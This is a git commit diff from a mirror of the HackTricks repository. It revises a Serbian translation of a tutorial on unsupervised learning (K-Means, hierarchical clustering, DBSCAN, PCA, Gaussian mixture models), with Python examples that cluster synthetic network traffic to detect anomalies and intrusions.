mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Unsupervised-Learning-Algorithms.md', 'src/binary
This commit is contained in:
parent
6c1119838e
commit
cf9db291dd
@ -5,7 +5,7 @@
|
||||
## Nesupervizovano učenje
|
||||
|
||||
Nesupervizovano učenje je vrsta mašinskog učenja gde se model obučava na podacima bez označenih odgovora. Cilj je pronaći obrasce, strukture ili odnose unutar podataka. Za razliku od supervizovanog učenja, gde model uči iz označenih primera, algoritmi nesupervizovanog učenja rade sa neoznačenim podacima.
|
||||
Nesupervizovano učenje se često koristi za zadatke kao što su klasterizacija, smanjenje dimenzionalnosti i otkrivanje anomalija. Može pomoći u otkrivanju skrivenih obrazaca u podacima, grupisanju sličnih stavki ili smanjenju složenosti podataka uz očuvanje njihovih suštinskih karakteristika.
|
||||
Nesupervizovano učenje se često koristi za zadatke kao što su klasterizacija, smanjenje dimenzionalnosti i detekcija anomalija. Može pomoći u otkrivanju skrivenih obrazaca u podacima, grupisanju sličnih stavki ili smanjenju složenosti podataka uz očuvanje njihovih suštinskih karakteristika.
|
||||
|
||||
### K-Means klasterizacija
|
||||
|
||||
@ -13,24 +13,24 @@ K-Means je algoritam klasterizacije zasnovan na centroidima koji deli podatke u
|
||||
1. **Inicijalizacija**: Izaberite K početnih centara klastera (centroida), često nasumično ili putem pametnijih metoda kao što je k-means++
|
||||
2. **Dodeljivanje**: Dodelite svaku tačku podataka najbližem centroidu na osnovu metričke udaljenosti (npr. Euklidska udaljenost).
|
||||
3. **Ažuriranje**: Ponovo izračunajte centre uzimajući prosek svih tačaka podataka dodeljenih svakom klasteru.
|
||||
4. **Ponoviti**: Koraci 2–3 se ponavljaju dok se dodeljivanje klastera ne stabilizuje (centroidi se više ne pomeraju značajno).
|
||||
4. **Ponovite**: Koraci 2–3 se ponavljaju dok se dodeljivanje klastera ne stabilizuje (centroidi se više ne pomeraju značajno).
|
||||
|
||||
> [!TIP]
|
||||
> *Upotreba u sajber bezbednosti:* K-Means se koristi za otkrivanje upada klasterizacijom mrežnih događaja. Na primer, istraživači su primenili K-Means na KDD Cup 99 skupu podataka o upadima i otkrili da efikasno deli saobraćaj na normalne i napadačke klastere. U praksi, analitičari bezbednosti mogu klasterizovati unose logova ili podatke o ponašanju korisnika kako bi pronašli grupe sličnih aktivnosti; bilo koje tačke koje ne pripadaju dobro formiranom klasteru mogu ukazivati na anomalije (npr. nova varijanta malvera koja formira svoj mali klaster). K-Means takođe može pomoći u klasifikaciji porodica malvera grupisanjem binarnih datoteka na osnovu profila ponašanja ili vektora karakteristika.
|
||||
> *Upotreba u sajber bezbednosti:* K-Means se koristi za detekciju upada klasterizacijom mrežnih događaja. Na primer, istraživači su primenili K-Means na KDD Cup 99 skupu podataka o upadima i otkrili da efikasno deli saobraćaj na normalne i napadačke klastere. U praksi, analitičari bezbednosti mogu klasterizovati unose logova ili podatke o ponašanju korisnika kako bi pronašli grupe sličnih aktivnosti; bilo koje tačke koje ne pripadaju dobro formiranom klasteru mogu ukazivati na anomalije (npr. nova varijanta malvera koja formira svoj mali klaster). K-Means takođe može pomoći u klasifikaciji porodica malvera grupisanjem binarnih datoteka na osnovu profila ponašanja ili vektora karakteristika.
|
||||
|
||||
#### Odabir K
|
||||
Broj klastera (K) je hiperparametar koji treba definisati pre pokretanja algoritma. Tehnike poput Elbow metode ili Silhouette skora mogu pomoći u određivanju odgovarajuće vrednosti za K procenom performansi klasterizacije:
|
||||
|
||||
- **Elbow metoda**: Prikazivanje sume kvadratnih udaljenosti svake tačke do njenog dodeljenog centroida klastera kao funkcije K. Potražite "lakat" tačku gde se brzina opadanja naglo menja, što ukazuje na odgovarajući broj klastera.
|
||||
- **Elbow metoda**: Prikazujte sumu kvadratnih udaljenosti svake tačke do njenog dodeljenog centroida klastera kao funkciju K. Potražite "lakat" tačku gde se stopa opadanja naglo menja, što ukazuje na odgovarajući broj klastera.
|
||||
- **Silhouette skor**: Izračunajte silhouette skor za različite vrednosti K. Viši silhouette skor ukazuje na bolje definisane klastere.
|
||||
|
||||
#### Pretpostavke i ograničenja
|
||||
|
||||
K-Means pretpostavlja da su **klasteri sferni i jednake veličine**, što možda nije tačno za sve skupove podataka. Osetljiv je na početno postavljanje centroida i može konvergirati ka lokalnim minimumima. Pored toga, K-Means nije pogodan za skupove podataka sa različitim gustinama ili neglobularnim oblicima i karakteristikama različitih razmera. Koraci predobrada poput normalizacije ili standardizacije mogu biti neophodni kako bi se osiguralo da sve karakteristike ravnomerno doprinose izračunavanju udaljenosti.
|
||||
|
||||
<details>
|
||||
<summary>Primer -- Klasterizacija mrežnih događaja
|
||||
</summary>
|
||||
<details>
|
||||
<summary>Primer -- Klasterizacija mrežnih događaja
|
||||
</summary>
|
||||
Ispod simuliramo podatke o mrežnom saobraćaju i koristimo K-Means za njihovu klasterizaciju. Pretpostavimo da imamo događaje sa karakteristikama kao što su trajanje veze i broj bajtova. Kreiramo 3 klastera "normalnog" saobraćaja i 1 mali klaster koji predstavlja obrazac napada. Zatim pokrećemo K-Means da vidimo da li ih razdvaja.
|
||||
```python
|
||||
import numpy as np
|
||||
@ -67,16 +67,16 @@ Hijerarhijsko klasterovanje gradi hijerarhiju klastera koristeći ili pristup od
|
||||
1. **Aglomerativno (odozdo prema gore)**: Počnite sa svakom tačkom podataka kao posebnim klasterom i iterativno spajajte najbliže klastere dok ne ostane jedan klaster ili se ne ispuni kriterijum zaustavljanja.
|
||||
2. **Divizivno (odozgo prema dole)**: Počnite sa svim tačkama podataka u jednom klasteru i iterativno delite klastere dok svaka tačka podataka ne postane svoj vlastiti klaster ili se ne ispuni kriterijum zaustavljanja.
|
||||
|
||||
Aglomerativno klasterovanje zahteva definiciju međuklaster udaljenosti i kriterijum povezivanja da bi se odlučilo koji klasteri će se spojiti. Uobičajene metode povezivanja uključuju pojedinačno povezivanje (udaljenost najbližih tačaka između dva klastera), potpuno povezivanje (udaljenost najdaljih tačaka), prosečno povezivanje itd., a metrička udaljenost je često euklidska. Izbor povezivanja utiče na oblik proizvedenih klastera. Nema potrebe da se unapred definiše broj klastera K; možete "prerezati" dendrogram na odabranom nivou da biste dobili željeni broj klastera.
|
||||
Aglomerativno klasterovanje zahteva definiciju međuklaster udaljenosti i kriterijum povezivanja da bi se odlučilo koji klasteri će se spojiti. Uobičajene metode povezivanja uključuju pojedinačno povezivanje (udaljenost najbližih tačaka između dva klastera), potpuno povezivanje (udaljenost najdaljih tačaka), prosečno povezivanje itd., a metrička udaljenost je često euklidska. Izbor povezivanja utiče na oblik klastera koji se proizvode. Nema potrebe da se unapred definiše broj klastera K; možete "prerezati" dendrogram na odabranom nivou da biste dobili željeni broj klastera.
|
||||
|
||||
Hijerarhijsko klasterovanje proizvodi dendrogram, strukturu nalik drvetu koja prikazuje odnose između klastera na različitim nivoima granularnosti. Dendrogram se može prerezati na željenom nivou da bi se dobio specifičan broj klastera.
|
||||
|
||||
> [!TIP]
|
||||
> *Upotrebe u sajber bezbednosti:* Hijerarhijsko klasterovanje može organizovati događaje ili entitete u drvo kako bi se uočili odnosi. Na primer, u analizi malvera, aglomerativno klasterovanje bi moglo grupisati uzorke po ponašanju, otkrivajući hijerarhiju porodica i varijanti malvera. U mrežnoj bezbednosti, moglo bi se klasterovati IP saobraćaj i koristiti dendrogram da se vide podgrupe saobraćaja (npr. po protokolu, zatim po ponašanju). Pošto ne morate unapred odabrati K, korisno je kada istražujete nove podatke za koje je broj kategorija napada nepoznat.
|
||||
> *Upotreba u sajber bezbednosti:* Hijerarhijsko klasterovanje može organizovati događaje ili entitete u drvo kako bi se uočili odnosi. Na primer, u analizi malvera, aglomerativno klasterovanje bi moglo grupisati uzorke prema ponašanju, otkrivajući hijerarhiju porodica i varijanti malvera. U mrežnoj bezbednosti, moglo bi se klasterovati IP saobraćaj i koristiti dendrogram da se vide podgrupe saobraćaja (npr. prema protokolu, zatim prema ponašanju). Pošto ne morate unapred odabrati K, korisno je kada istražujete nove podatke za koje je broj kategorija napada nepoznat.
|
||||
|
||||
#### Pretpostavke i Ograničenja
|
||||
|
||||
Hijerarhijsko klasterovanje ne pretpostavlja određeni oblik klastera i može uhvatiti ugnježdene klastere. Korisno je za otkrivanje taksonomije ili odnosa među grupama (npr. grupisanje malvera po porodicama). Determinističko je (nema problema sa nasumičnom inicijalizacijom). Ključna prednost je dendrogram, koji pruža uvid u strukturu klasterovanja podataka na svim razmerama – analitičari bezbednosti mogu odlučiti o odgovarajućem preseku da identifikuju značajne klastere. Međutim, računski je skup (tipično $O(n^2)$ vremena ili gore za naivne implementacije) i nije izvodljiv za veoma velike skupove podataka. Takođe je pohlepna procedura – jednom kada se spajanje ili deljenje izvrši, ne može se poništiti, što može dovesti do suboptimalnih klastera ako se greška dogodi rano. Izolovani podaci takođe mogu uticati na neke strategije povezivanja (pojedinačno povezivanje može izazvati efekat "lančanja" gde se klasteri povezuju putem izolovanih podataka).
|
||||
Hijerarhijsko klasterovanje ne pretpostavlja određeni oblik klastera i može uhvatiti ugnježdene klastere. Korisno je za otkrivanje taksonomije ili odnosa među grupama (npr. grupisanje malvera prema porodicama). Determinističko je (nema problema sa nasumičnom inicijalizacijom). Ključna prednost je dendrogram, koji pruža uvid u strukturu klasterovanja podataka na svim razmerama – analitičari bezbednosti mogu odlučiti o odgovarajućem preseku da identifikuju značajne klastere. Međutim, računski je skup (tipično $O(n^2)$ vremena ili gore za naivne implementacije) i nije izvodljiv za veoma velike skupove podataka. Takođe je pohlepna procedura – jednom kada se spajanje ili deljenje izvrši, ne može se poništiti, što može dovesti do suboptimalnih klastera ako se greška dogodi rano. Izolovani podaci takođe mogu uticati na neke strategije povezivanja (jednostavno povezivanje može izazvati efekat "lančanja" gde se klasteri povezuju putem izolovanih podataka).
|
||||
|
||||
<details>
|
||||
<summary>Primer -- Aglomerativno Klasterovanje Događaja
|
||||
@ -104,7 +104,7 @@ print(f"Cluster sizes for 3 clusters: {np.bincount(clusters_3)}")
|
||||
|
||||
### DBSCAN (Klasterovanje na bazi gustine sa šumom)
|
||||
|
||||
DBSCAN je algoritam za klasterovanje zasnovan na gustini koji grupiše tačke koje su blisko smeštene, dok označava tačke u oblastima niske gustine kao izuzetke. Posebno je koristan za skupove podataka sa različitim gustinama i nesfernim oblicima.
|
||||
DBSCAN je algoritam klasterovanja zasnovan na gustini koji grupiše tačke koje su blisko smeštene zajedno, dok označava tačke u oblastima niske gustine kao izuzetke. Posebno je koristan za skupove podataka sa različitim gustinama i nesfernim oblicima.
|
||||
|
||||
DBSCAN funkcioniše definisanjem dva parametra:
|
||||
- **Epsilon (ε)**: Maksimalna udaljenost između dve tačke da bi se smatrale delom istog klastera.
|
||||
@ -118,11 +118,11 @@ DBSCAN identifikuje glavne tačke, tačke na granici i tačke šuma:
|
||||
Klasterovanje se nastavlja biranjem neposećene glavne tačke, označavanjem kao novog klastera, a zatim rekurzivnim dodavanjem svih tačaka koje su dostupne po gustini (glavne tačke i njihovi susedi, itd.). Tačke na granici se dodaju klasteru bliske glavne tačke. Nakon proširenja svih dostupnih tačaka, DBSCAN prelazi na drugu neposećenu glavnu tačku da započne novi klaster. Tačke koje nisu dostignute od strane nijedne glavne tačke ostaju označene kao šum.
|
||||
|
||||
> [!TIP]
|
||||
> *Upotreba u sajber bezbednosti:* DBSCAN je koristan za detekciju anomalija u mrežnom saobraćaju. Na primer, normalna aktivnost korisnika može formirati jedan ili više gustih klastera u prostoru karakteristika, dok se nove napade ponašanja pojavljuju kao rasute tačke koje će DBSCAN označiti kao šum (izuzetke). Koristi se za klasterovanje zapisa mrežnog toka, gde može detektovati skeniranja portova ili saobraćaj usluge uskraćivanja kao retke oblasti tačaka. Druga primena je grupisanje varijanti malvera: ako se većina uzoraka grupiše po porodicama, ali se nekoliko ne uklapa nigde, tih nekoliko bi moglo biti zero-day malver. Sposobnost označavanja šuma znači da se timovi za bezbednost mogu fokusirati na istraživanje tih izuzetaka.
|
||||
> *Upotreba u sajber bezbednosti:* DBSCAN je koristan za detekciju anomalija u mrežnom saobraćaju. Na primer, normalna aktivnost korisnika može formirati jedan ili više gustih klastera u prostoru karakteristika, dok se nove napade ponašanja pojavljuju kao rasute tačke koje će DBSCAN označiti kao šum (izuzetke). Koristi se za klasterovanje zapisa mrežnog toka, gde može detektovati skeniranja portova ili saobraćaj usluga uskraćivanja kao retke oblasti tačaka. Druga primena je grupisanje varijanti malvera: ako se većina uzoraka grupiše po porodicama, ali se nekoliko ne uklapa nigde, tih nekoliko bi moglo biti zero-day malver. Sposobnost označavanja šuma znači da se bezbednosni timovi mogu fokusirati na istraživanje tih izuzetaka.
|
||||
|
||||
#### Pretpostavke i Ograničenja
|
||||
|
||||
**Pretpostavke i Snage:** DBSCAN ne pretpostavlja sferne klastere – može pronaći klastere proizvoljnog oblika (čak i lančaste ili susedne klastere). Automatski određuje broj klastera na osnovu gustine podataka i može efikasno identifikovati izuzetke kao šum. Ovo ga čini moćnim za stvarne podatke sa nepravilnim oblicima i šumom. Otporan je na izuzetke (za razliku od K-Means, koji ih prisiljava u klastere). Dobro funkcioniše kada klasteri imaju otprilike uniformnu gustinu.
|
||||
**Pretpostavke i Snage:** DBSCAN ne pretpostavlja sferne klastere – može pronaći klastere proizvoljnog oblika (čak i lančaste ili susedne klastere). Automatski određuje broj klastera na osnovu gustine podataka i može efikasno identifikovati izuzetke kao šum. To ga čini moćnim za stvarne podatke sa nepravilnim oblicima i šumom. Otporan je na izuzetke (za razliku od K-Means, koji ih prisiljava u klastere). Dobro funkcioniše kada klasteri imaju otprilike uniformnu gustinu.
|
||||
|
||||
**Ograničenja:** Performanse DBSCAN-a zavise od izbora odgovarajućih ε i MinPts vrednosti. Može imati problema sa podacima koji imaju različite gustine – jedna ε ne može obuhvatiti i guste i retke klastere. Ako je ε previše mala, označava većinu tačaka kao šum; prevelika, i klasteri se mogu pogrešno spojiti. Takođe, DBSCAN može biti neefikasan na veoma velikim skupovima podataka (naivno $O(n^2)$, iako prostorno indeksiranje može pomoći). U visokodimenzionalnim prostorima karakteristika, koncept "udaljenosti unutar ε" može postati manje značajan (prokletstvo dimenzionalnosti), i DBSCAN može zahtevati pažljivo podešavanje parametara ili može propasti u pronalaženju intuitivnih klastera. I pored ovoga, proširenja poput HDBSCAN rešavaju neka pitanja (poput varijabilne gustine).
|
||||
|
||||
@ -150,18 +150,18 @@ num_noise = np.sum(labels == -1)
|
||||
print(f"DBSCAN found {num_clusters} clusters and {num_noise} noise points")
|
||||
print("Cluster labels for first 10 points:", labels[:10])
|
||||
```
|
||||
U ovom isječku, prilagodili smo `eps` i `min_samples` da odgovaraju našoj skali podataka (15.0 u jedinicama karakteristika, i zahtevajući 5 tačaka za formiranje klastera). DBSCAN bi trebao pronaći 2 klastera (klastere normalnog saobraćaja) i označiti 5 ubačenih izuzetaka kao šum. Izašli smo sa brojem klastera u odnosu na tačke šuma kako bismo to potvrdili. U stvarnom okruženju, može se iterirati preko ε (koristeći heuristiku grafika k-udaljenosti za izbor ε) i MinPts (često postavljenih na oko dimenzionalnosti podataka + 1 kao pravilo) kako bi se pronašli stabilni rezultati klasterisanja. Sposobnost da se eksplicitno označi šum pomaže u odvojenju potencijalnih podataka o napadima za dalju analizu.
|
||||
U ovom isječku, prilagodili smo `eps` i `min_samples` da odgovaraju našoj skali podataka (15.0 u jedinicama karakteristika, i zahtevajući 5 tačaka za formiranje klastera). DBSCAN bi trebao pronaći 2 klastera (klastere normalnog saobraćaja) i označiti 5 ubačenih izuzetaka kao šum. Izašli smo sa brojem klastera u odnosu na tačke šuma kako bismo to potvrdili. U stvarnom okruženju, može se iterirati preko ε (koristeći heuristiku grafika k-udaljenosti za izbor ε) i MinPts (često postavljen na oko dimenzionalnosti podataka + 1 kao pravilo) kako bi se pronašli stabilni rezultati klasterisanja. Sposobnost da se eksplicitno označi šum pomaže u odvojenju potencijalnih podataka o napadima za dalju analizu.
|
||||
|
||||
</details>
|
||||
|
||||
### Analiza glavnih komponenti (PCA)
|
||||
|
||||
PCA je tehnika za **smanjenje dimenzionalnosti** koja pronalazi novi skup ortogonalnih osa (glavnih komponenti) koje hvataju maksimalnu varijansu u podacima. U jednostavnim terminima, PCA rotira i projektuje podatke na novi koordinatni sistem tako da prva glavna komponenta (PC1) objašnjava najveću moguću varijansu, druga PC (PC2) objašnjava najveću varijansu ortogonalnu na PC1, i tako dalje. Matematički, PCA izračunava sopstvene vektore kovarijantne matrice podataka – ovi sopstveni vektori su pravci glavnih komponenti, a odgovarajući sopstveni vrednosti ukazuju na količinu varijanse koju objašnjava svaka. Često se koristi za ekstrakciju karakteristika, vizualizaciju i smanjenje šuma.
|
||||
PCA je tehnika za **smanjenje dimenzionalnosti** koja pronalazi novi skup ortogonalnih osa (glavnih komponenti) koje hvataju maksimalnu varijansu u podacima. U jednostavnim terminima, PCA rotira i projektuje podatke na novi koordinatni sistem tako da prva glavna komponenta (PC1) objašnjava najveću moguću varijansu, druga PC (PC2) objašnjava najveću varijansu ortogonalnu na PC1, i tako dalje. Matematički, PCA izračunava sopstvene vektore kovarijantne matrice podataka – ovi sopstveni vektori su pravci glavnih komponenti, a odgovarajući sopstveni vrednosti ukazuju na količinu varijanse koju objašnjava svaki. Često se koristi za ekstrakciju karakteristika, vizualizaciju i smanjenje šuma.
|
||||
|
||||
Napomena da je ovo korisno ako dimenzije skupa podataka sadrže **značajne linearne zavisnosti ili korelacije**.
|
||||
|
||||
PCA funkcioniše identifikovanjem glavnih komponenti podataka, koje su pravci maksimalne varijanse. Koraci uključeni u PCA su:
|
||||
1. **Standardizacija**: Centriranje podataka oduzimanjem srednje vrednosti i skaliranjem na jediničnu varijansu.
|
||||
1. **Standardizacija**: Centriranje podataka oduzimanjem proseka i skaliranjem na jediničnu varijansu.
|
||||
2. **Kovarijantna matrica**: Izračunavanje kovarijantne matrice standardizovanih podataka kako bi se razumele veze između karakteristika.
|
||||
3. **Dezintegracija sopstvenih vrednosti**: Izvršavanje dezintegracije sopstvenih vrednosti na kovarijantnoj matrici kako bi se dobile sopstvene vrednosti i sopstveni vektori.
|
||||
4. **Izbor glavnih komponenti**: Sortiranje sopstvenih vrednosti u opadajućem redosledu i izbor vrhunskih K sopstvenih vektora koji odgovaraju najvećim sopstvenim vrednostima. Ovi sopstveni vektori formiraju novi prostor karakteristika.
|
||||
@ -172,7 +172,7 @@ PCA se široko koristi za vizualizaciju podataka, smanjenje šuma i kao korak pr
|
||||
|
||||
Sopstvena vrednost je skalar koji ukazuje na količinu varijanse koju hvata njen odgovarajući sopstveni vektor. Sopstveni vektor predstavlja pravac u prostoru karakteristika duž kojeg se podaci najviše menjaju.
|
||||
|
||||
Zamislite da je A kvadratna matrica, a v je nenulti vektor tako da: `A * v = λ * v`
|
||||
Zamislite da je A kvadratna matrica, a v nenulti vektor takav da: `A * v = λ * v`
|
||||
gde:
|
||||
- A je kvadratna matrica poput [ [1, 2], [2, 1]] (npr., kovarijantna matrica)
|
||||
- v je sopstveni vektor (npr., [1, 1])
|
||||
@ -183,14 +183,14 @@ Tada, `A * v = [ [1, 2], [2, 1]] * [1, 1] = [3, 3]` što će biti sopstvena vred
|
||||
|
||||
Objasnimo ovo sa primerom. Zamislite da imate skup podataka sa puno slika lica u sivim tonovima dimenzija 100x100 piksela. Svaki piksel se može smatrati karakteristikom, tako da imate 10,000 karakteristika po slici (ili vektor od 10,000 komponenti po slici). Ako želite da smanjite dimenzionalnost ovog skupa podataka koristeći PCA, pratili biste ove korake:
|
||||
|
||||
1. **Standardizacija**: Centriranje podataka oduzimanjem srednje vrednosti svake karakteristike (piksela) iz skupa podataka.
|
||||
1. **Standardizacija**: Centriranje podataka oduzimanjem proseka svake karakteristike (piksela) iz skupa podataka.
|
||||
2. **Kovarijantna matrica**: Izračunavanje kovarijantne matrice standardizovanih podataka, koja hvata kako se karakteristike (pikseli) zajedno menjaju.
|
||||
- Napomena da kovarijansa između dve varijable (piksela u ovom slučaju) ukazuje na to koliko se zajedno menjaju, tako da je ideja ovde da se otkrije koji pikseli imaju tendenciju da se povećavaju ili smanjuju zajedno sa linearnom vezom.
|
||||
- Napomena da kovarijansa između dve varijable (piksela u ovom slučaju) ukazuje na to koliko se zajedno menjaju, tako da je ideja ovde da se otkrije koji piksela imaju tendenciju da se povećavaju ili smanjuju zajedno sa linearnom vezom.
|
||||
- Na primer, ako piksel 1 i piksel 2 imaju tendenciju da se zajedno povećavaju, kovarijansa između njih će biti pozitivna.
|
||||
- Kovarijantna matrica će biti 10,000x10,000 matrica gde svaki unos predstavlja kovarijansu između dva piksela.
|
||||
3. **Rešavanje sopstvene vrednosti**: Sopstvena vrednost koju treba rešiti je `C * v = λ * v` gde je C kovarijantna matrica, v je sopstveni vektor, a λ je sopstvena vrednost. Može se rešiti korišćenjem metoda kao što su:
|
||||
3. **Rešavanje sopstvene vrednosti**: Sopstvena vrednost koju treba rešiti je `C * v = λ * v` gde je C kovarijantna matrica, v sopstveni vektor, a λ sopstvena vrednost. Može se rešiti korišćenjem metoda kao što su:
|
||||
- **Dezintegracija sopstvenih vrednosti**: Izvršavanje dezintegracije sopstvenih vrednosti na kovarijantnoj matrici kako bi se dobile sopstvene vrednosti i sopstveni vektori.
|
||||
- **Dezintegracija singularnih vrednosti (SVD)**: Alternativno, možete koristiti SVD za dekompoziciju matrice podataka u singularne vrednosti i vektore, što takođe može dati glavne komponente.
|
||||
- **Dezintegracija singularnih vrednosti (SVD)**: Alternativno, možete koristiti SVD za dezintegraciju matrice podataka u singularne vrednosti i vektore, što takođe može dati glavne komponente.
|
||||
4. **Izbor glavnih komponenti**: Sortiranje sopstvenih vrednosti u opadajućem redosledu i izbor vrhunskih K sopstvenih vektora koji odgovaraju najvećim sopstvenim vrednostima. Ovi sopstveni vektori predstavljaju pravce maksimalne varijanse u podacima.
|
||||
|
||||
> [!TIP]
|
||||
@ -204,7 +204,7 @@ PCA pretpostavlja da su **glavne ose varijanse značajne** – to je linearna me
|
||||
<summary>Primer -- Smanjenje dimenzija mrežnih podataka
|
||||
</summary>
|
||||
|
||||
Pretpostavimo da imamo logove mrežnih konekcija sa više karakteristika (npr., trajanja, bajtovi, brojevi). Generisaćemo sintetički 4-dimenzionalni skup podataka (sa nekim korelacijama između karakteristika) i koristiti PCA da ga smanjimo na 2 dimenzije za vizualizaciju ili dalju analizu.
|
||||
Pretpostavimo da imamo logove mrežnih konekcija sa više karakteristika (npr., trajanja, bajtova, brojeva). Generisaćemo sintetički 4-dimenzionalni skup podataka (sa nekim korelacijama između karakteristika) i koristiti PCA da ga smanjimo na 2 dimenzije za vizualizaciju ili dalju analizu.
|
||||
```python
|
||||
from sklearn.decomposition import PCA
|
||||
|
||||
@ -231,11 +231,11 @@ Ovde smo uzeli ranije normalne klastere saobraćaja i proširili svaku tačku po
|
||||
|
||||
### Gaussian Mixture Models (GMM)
|
||||
|
||||
Gaussian Mixture Model pretpostavlja da su podaci generisani iz mešavine **several Gaussian (normal) distributions with unknown parameters**. U suštini, to je probabilistički model klasterovanja: pokušava da blago dodeli svaku tačku jednom od K Gaussian komponenti. Svaka Gaussian komponenta k ima vektor srednje vrednosti (μ_k), kovarijacionu matricu (Σ_k) i težinu mešanja (π_k) koja predstavlja koliko je taj klaster prisutan. Za razliku od K-Means koji vrši "tvrde" dodeljivanje, GMM daje svakoj tački verovatnoću pripadnosti svakom klasteru.
|
||||
Gaussian Mixture Model pretpostavlja da su podaci generisani iz mešavine **several Gaussian (normal) distributions with unknown parameters**. U suštini, to je probabilistički model klasterovanja: pokušava da blago dodeli svaku tačku jednom od K Gaussian komponenti. Svaka Gaussian komponenta k ima vektor srednje vrednosti (μ_k), kovarijantnu matricu (Σ_k) i težinu mešanja (π_k) koja predstavlja koliko je taj klaster prisutan. Za razliku od K-Means koji vrši "tvrde" dodeljivanje, GMM daje svakoj tački verovatnoću pripadnosti svakom klasteru.
|
||||
|
||||
GMM prilagođavanje se obično vrši putem algoritma Expectation-Maximization (EM):
|
||||
|
||||
- **Inicijalizacija**: Počnite sa početnim pretpostavkama za srednje vrednosti, kovarijacije i koeficijente mešanja (ili koristite rezultate K-Means kao početnu tačku).
|
||||
- **Inicijalizacija**: Počnite sa početnim pretpostavkama za srednje vrednosti, kovarijanse i koeficijente mešanja (ili koristite rezultate K-Means kao početnu tačku).
|
||||
|
||||
- **E-korak (Očekivanje)**: S obzirom na trenutne parametre, izračunajte odgovornost svakog klastera za svaku tačku: suštinski `r_nk = P(z_k | x_n)` gde je z_k latentna varijabla koja ukazuje na članstvo u klasteru za tačku x_n. Ovo se radi koristeći Bayesovu teoremu, gde izračunavamo posteriornu verovatnoću svake tačke da pripada svakom klasteru na osnovu trenutnih parametara. Odgovornosti se izračunavaju kao:
|
||||
```math
|
||||
@ -243,11 +243,11 @@ r_{nk} = \frac{\pi_k \mathcal{N}(x_n | \mu_k, \Sigma_k)}{\sum_{j=1}^{K} \pi_j \m
|
||||
```
|
||||
gde:
|
||||
- \( \pi_k \) je koeficijent mešanja za klaster k (prior verovatnoća klastera k),
|
||||
- \( \mathcal{N}(x_n | \mu_k, \Sigma_k) \) je Gaussian funkcija gustine verovatnoće za tačku \( x_n \) s obzirom na srednju vrednost \( \mu_k \) i kovarijaciju \( \Sigma_k \).
|
||||
- \( \mathcal{N}(x_n | \mu_k, \Sigma_k) \) je Gaussian funkcija gustine verovatnoće za tačku \( x_n \) s obzirom na srednju vrednost \( \mu_k \) i kovarijansu \( \Sigma_k \).
|
||||
|
||||
- **M-korak (Maksimizacija)**: Ažurirajte parametre koristeći odgovornosti izračunate u E-koraku:
|
||||
- Ažurirajte svaku srednju vrednost μ_k kao ponderisanu srednju vrednost tačaka, gde su težine odgovornosti.
|
||||
- Ažurirajte svaku kovarijaciju Σ_k kao ponderisanu kovarijaciju tačaka dodeljenih klasteru k.
|
||||
- Ažurirajte svaku kovarijansu Σ_k kao ponderisanu kovarijansu tačaka dodeljenih klasteru k.
|
||||
- Ažurirajte koeficijente mešanja π_k kao prosečnu odgovornost za klaster k.
|
||||
|
||||
- **Iterirajte** E i M korake dok ne dođe do konvergencije (parametri se stabilizuju ili poboljšanje verovatnoće je ispod praga).
|
||||
@ -259,9 +259,9 @@ Rezultat je skup Gaussian distribucija koje kolektivno modeliraju ukupnu distrib
|
||||
|
||||
#### Pretpostavke i Ograničenja
|
||||
|
||||
GMM je generalizacija K-Means koja uključuje kovarijaciju, tako da klasteri mogu biti elipsoidni (ne samo sferni). Rukuje klasterima različitih veličina i oblika ako je kovarijacija puna. Mekano klasterovanje je prednost kada su granice klastera nejasne – npr., u sajber bezbednosti, događaj može imati osobine više tipova napada; GMM može odražavati tu nesigurnost sa verovatnoćama. GMM takođe pruža procenu gustine verovatnoće podataka, korisnu za otkrivanje outliera (tačaka sa niskom verovatnoćom pod svim komponentama mešavine).
|
||||
GMM je generalizacija K-Means koja uključuje kovarijansu, tako da klasteri mogu biti elipsoidni (ne samo sferni). Rukuje klasterima različitih veličina i oblika ako je kovarijansa puna. Mekano klasterovanje je prednost kada su granice klastera nejasne – npr., u sajber bezbednosti, događaj može imati osobine više tipova napada; GMM može odražavati tu nesigurnost sa verovatnoćama. GMM takođe pruža procenu gustine verovatnoće podataka, korisnu za otkrivanje outliera (tačaka sa niskom verovatnoćom pod svim komponentama mešavine).
|
||||
|
||||
S druge strane, GMM zahteva da se specificira broj komponenti K (iako se mogu koristiti kriterijumi poput BIC/AIC za njegovu selekciju). EM ponekad može sporo konvergirati ili do lokalnog optimuma, tako da je inicijalizacija važna (često se EM pokreće više puta). Ako podaci zapravo ne prate mešavinu Gaussian-a, model može biti loše prilagođen. Takođe postoji rizik da jedan Gaussian smanji da pokrije samo outlier (iako regularizacija ili minimalne granice kovarijacije mogu to ublažiti).
|
||||
S druge strane, GMM zahteva da se specificira broj komponenti K (iako se mogu koristiti kriterijumi poput BIC/AIC za njegovu selekciju). EM ponekad može sporo konvergirati ili do lokalnog optimuma, tako da je inicijalizacija važna (često se EM pokreće više puta). Ako podaci zapravo ne prate mešavinu Gaussian-a, model može biti loše prilagođen. Takođe postoji rizik da jedan Gaussian smanji da pokrije samo outlier (iako regularizacija ili minimalne granice kovarijanse mogu to ublažiti).
|
||||
|
||||
|
||||
<details>
|
||||
@ -285,16 +285,16 @@ log_likelihood = gmm.score_samples(sample_attack)
|
||||
print("Cluster membership probabilities for sample attack:", probs)
|
||||
print("Log-likelihood of sample attack under GMM:", log_likelihood)
|
||||
```
|
||||
U ovom kodu, obučavamo GMM sa 3 Gaussove distribucije na normalnom saobraćaju (pretpostavljajući da znamo 3 profila legitimnog saobraćaja). Srednje vrednosti i kovarijanse koje se ispisuju opisuju ove klastere (na primer, jedna srednja vrednost može biti oko [50,500] koja odgovara centru jednog klastera, itd.). Zatim testiramo sumnjivu vezu [duration=200, bytes=800]. Funkcija predict_proba daje verovatnoću da ova tačka pripada svakom od 3 klastera – očekivali bismo da su ove verovatnoće vrlo niske ili veoma iskrivljene, pošto [200,800] leži daleko od normalnih klastera. Ukupni score_samples (log-verovatnoća) se ispisuje; vrlo niska vrednost ukazuje na to da tačka ne odgovara modelu dobro, označavajući je kao anomaliju. U praksi, može se postaviti prag na log-verovatnoću (ili na maksimalnu verovatnoću) da se odluči da li je tačka dovoljno malo verovatna da se smatra malicioznom. GMM tako pruža principijelan način za otkrivanje anomalija i takođe daje meke klastere koji priznaju nesigurnost.
|
||||
